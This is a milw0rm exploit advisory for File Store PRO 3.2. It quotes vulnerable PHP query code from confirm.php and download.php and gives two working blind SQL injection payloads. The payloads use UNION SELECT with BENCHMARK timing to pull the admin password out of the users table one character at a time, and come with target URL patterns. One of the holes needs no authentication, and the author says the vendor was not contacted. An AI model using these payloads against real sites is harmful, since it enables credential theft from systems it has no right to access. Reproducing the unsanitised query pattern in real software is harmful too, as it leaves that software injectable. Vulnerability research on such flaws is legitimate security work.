File Store PRO 3.2 - Multiple Blind SQL Injection Vulnerabilities

                                                 ________________________________________
| File Store PRO 3.2 Blind SQL Injection |
|________________________________________|


Download from: http://upoint.info/cgi/demo/fs/filestore.zip

- Need admin rights:
/confirm.php:
[code]

if(isset($_GET["folder"]) && $_GET["folder"]!="") {
 $folder=$_GET["folder"];
} else {
  exit("Bad Request");
 }
if(isset($_GET["id"]) && $_GET["id"]!="") {
 $id=$_GET["id"];
} else {
  exit("Bad Request");
 }

// Validate all inputs
// Added by SepedaTua on June 01, 2006 - http://www.sepedatua.info/
/********************** SepedaTua ****************************/

/* Fields:
$folder
$id
*/
$search = array ('@<script[^>]*?>.*?</script>@si',
                '@<[\/\!]*?[^<>]*?>@si',
                '@([\r\n])[\s]+@',
                '@&(quot|#34);@i',
                '@&(amp|#38);@i',
                '@&(lt|#60);@i',
                '@&(gt|#62);@i',
                '@&(nbsp|#160);@i',
                '@&(iexcl|#161);@i',
                '@&(cent|#162);@i',
                '@&(pound|#163);@i',
                '@&(copy|#169);@i',
                '@&#(\d+);@e');

$replace = array ('',
                 '',
                 '\1',
                 '"',
                 '&',
                 '<',
                 '>',
                 ' ',
                 chr(161),
                 chr(162),
                 chr(163),
                 chr(169),
                 'chr(\1)');

$ffolder = $folder;
$fid = $id;

$folder = preg_replace($search, $replace, $folder);
$id = preg_replace($search, $replace, $id); 

-----

$SQL="SELECT `".DB_PREFIX."users`.*, `".DB_PREFIX."file_list`.`filename`, `".DB_PREFIX."file_list`.`descript` ";
$SQL.=" FROM `".DB_PREFIX."file_list` LEFT JOIN `".DB_PREFIX."users` ON `".DB_PREFIX."file_list`.`user_id`=`".DB_PREFIX."users`.`id`";
$SQL.=" WHERE `".DB_PREFIX."file_list`.`id`='".$id."'";
if(!$mysql->query($SQL))
{
 exit($mysql->error);
}
if($mysql->num<=0)
{
 exit("Record not found");
} 
[/code]

POC: 
' UNION SELECT IF (SUBSTRING(password, 1, 1)='a', BENCHMARK(100000000, ENCODE('a','b')), 1 ),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from fstore_users where login='admin 
Site: http://site.xxx/confirm.php?folder=a&id=[SQL]

- Don't need admin rights:
In /download.php:
[code]
if(!isset($_GET["sig"])) // direct download, no need to login
$MustLogin=1|2|4;
require_once("libs/header.php");
if(!isset($_GET["sig"])) // direct download, no need to login
$userlevel=$CurUser->getlevel();
$SQL="SELECT * FROM `".DB_PREFIX."file_list` WHERE `id`='".$fileid."'";
if(!$mysql->query($SQL))
{
 exit($mysql->error);
} 
[/code]

POC:
' UNION SELECT IF (SUBSTRING(password, 1, 1)='a', BENCHMARK(100000000, ENCODE('a','b')), 1 ),2,3,4,5,6,7,8,9,10,11 from fstore_users where login='admin
Site: 
http://site.xxx/download.php?id=[SQL] 

Needs magic_quotes_gpc=off. Vendor not contacted !

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Good luck !

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# milw0rm.com [2008-07-11]